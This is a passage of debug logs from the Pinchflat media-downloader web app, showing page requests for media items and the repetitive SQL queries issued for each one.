m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:17:54.616 [info] Sent 200 in 25ms 02:17:59.294 [info] GET /sources/1/media/89342 02:17:59.295 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "89342", "source_id" => "1"} Pipelines: [:browser] 02:17:59.296 [debug] QUERY OK source="media_items" db=0.4ms idle=1650.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89342] 02:17:59.296 [debug] QUERY OK source="tasks" db=0.3ms idle=1651.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [89342] 02:17:59.297 [debug] QUERY OK source="sources" db=0.4ms idle=1651.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:17:59.297 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=1285.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2391] 02:17:59.298 [debug] QUERY OK source="settings" db=0.2ms idle=284.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:17:59.299 [debug] QUERY OK source="settings" db=0.2ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:17:59.300 [debug] QUERY OK source="settings" db=0.2ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:17:59.301 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:17:59.305 [info] Sent 200 in 10ms 02:18:00.744 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:18:01.488 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:18:03.016 [info] GET /sources/1/media/89338 02:18:03.016 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "89338", "source_id" => "1"} Pipelines: [:browser] 02:18:03.017 [debug] QUERY OK source="media_items" db=0.4ms idle=996.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89338] 02:18:03.018 [debug] QUERY OK source="tasks" db=0.4ms idle=372.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [89338] 02:18:03.018 [debug] QUERY OK source="sources" db=0.6ms idle=372.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:18:03.019 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=374.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?)) [2379, 2461, 2551] 02:18:03.021 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:18:03.022 [debug] QUERY OK source="settings" db=0.2ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:18:03.023 [debug] QUERY OK source="settings" db=0.2ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:18:03.025 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:18:03.028 [info] Sent 200 in 12ms 02:18:06.142 [info] GET /sources/4/media/102836/edit 02:18:06.142 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "102836", "source_id" => "4"} Pipelines: [:browser] 02:18:06.143 [debug] QUERY OK source="media_items" db=0.4ms idle=1497.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102836] 02:18:06.143 [debug] QUERY OK source="settings" db=0.2ms idle=1498.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:18:06.144 [debug] QUERY OK source="settings" db=0.1ms idle=1498.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:18:06.145 [debug] QUERY OK source="settings" db=0.2ms idle=1118.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:18:06.147 [info] Sent 200 in 5ms 02:18:08.809 [info] GET /sources/5/media/100350 02:18:08.809 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "100350", "source_id" => "5"} Pipelines: [:browser] 02:18:08.810 [debug] QUERY OK source="media_items" db=0.4ms idle=1164.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [100350] 02:18:08.811 [debug] QUERY OK source="tasks" db=0.5ms idle=1165.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [100350] 02:18:08.812 [debug] QUERY OK source="sources" db=0.6ms idle=1165.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 02:18:08.812 [debug] QUERY OK source="settings" db=0.2ms idle=1167.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:18:08.813 [debug] QUERY OK source="settings" db=0.2ms idle=780.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:18:08.814 [debug] QUERY OK source="settings" db=0.1ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:18:08.815 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:18:08.819 [info] Sent 200 in 9ms 02:18:11.295 [info] GET /sources/4/media/102835 02:18:11.295 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "102835", "source_id" => "4"} Pipelines: [:browser] 02:18:11.297 [debug] QUERY OK source="media_items" db=0.6ms idle=651.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102835] 02:18:11.298 [debug] QUERY OK source="tasks" db=0.4ms idle=652.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [102835] 02:18:11.298 [debug] QUERY OK source="sources" db=0.4ms idle=652.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 02:18:11.299 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=653.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2631] 02:18:11.299 [debug] QUERY OK source="settings" db=0.2ms idle=261.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:18:11.300 [debug] QUERY OK source="settings" db=0.2ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:18:11.301 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:18:11.302 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:18:11.306 [info] Sent 200 in 11ms 02:18:13.709 [info] GET /sources/4/media/102836 02:18:13.709 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "102836", "source_id" => "4"} Pipelines: [:browser] 02:18:13.710 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=1065.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102836] 02:18:13.711 [debug] QUERY OK source="tasks" db=0.3ms idle=1066.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [102836] 02:18:13.712 [debug] QUERY OK source="sources" db=0.6ms idle=1066.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 02:18:13.713 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=1067.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2632] 02:18:13.713 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=670.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:18:13.714 [debug] QUERY OK source="settings" db=0.2ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:18:13.715 [debug] QUERY OK source="settings" db=0.2ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:18:13.717 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:18:13.720 [info] Sent 200 in 11ms 02:18:16.032 [info] GET /sources/1/media/89339 02:18:16.033 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "89339", "source_id" => "1"} Pipelines: [:browser] 02:18:16.034 [debug] QUERY OK source="media_items" db=0.4ms idle=987.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89339] 02:18:16.035 [debug] QUERY OK source="tasks" db=0.5ms idle=389.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [89339] 02:18:16.035 [debug] QUERY OK source="sources" db=0.6ms idle=389.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:18:16.036 [debug] QUERY OK source="oban_jobs" db=0.6ms idle=390.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?)) [2380, 2462, 2552] 02:18:16.038 [debug] QUERY OK source="settings" db=0.2ms idle=392.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:18:16.038 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:18:16.039 [debug] QUERY OK source="settings" db=0.2ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:18:16.041 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:18:16.045 [info] Sent 200 in 12ms 02:18:18.231 [info] GET /sources/1/media/89341 02:18:18.231 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "89341", "source_id" => "1"} Pipelines: [:browser] 02:18:18.232 [debug] QUERY OK source="media_items" db=0.4ms idle=586.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89341] 02:18:18.233 [debug] QUERY OK source="tasks" db=0.5ms queue=0.1ms idle=587.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [89341] 02:18:18.234 [debug] QUERY OK source="sources" db=0.8ms idle=587.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:18:18.248 [debug] QUERY OK source="oban_jobs" db=13.7ms idle=589.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [2382, 2464] 02:18:18.249 [debug] QUERY OK source="settings" db=0.2ms idle=197.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", 